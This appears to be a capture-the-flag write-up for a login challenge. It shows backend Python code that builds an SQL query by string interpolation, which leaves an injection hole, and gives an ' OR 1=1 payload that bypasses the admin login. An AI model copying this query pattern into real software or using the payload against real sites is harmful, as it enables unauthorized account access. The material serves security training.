Question
Find the flag by logging in to the website provided as admin

Answer
As you must have tried, the login form was vulnerable to SQL injection attack.
The code for the backend handling login was as follows:

```
cur = get_db_connection()
          user = cur.execute(f"SELECT rowid, * FROM users WHERE username =
'{username}' AND password = '{password}'").fetchone()
          cur.close()
          if not user:
              response = make_response('No such user exists', 200)
              response.mimetype = "text/plain"
              return response
          session['user'] = user[0]
```

A possible SQL injection string would be:
Username: admin
Password: ‘ OR 1=1 –

Using this attack, we can log in as admin. We see the flag as soon as we log in as the admin.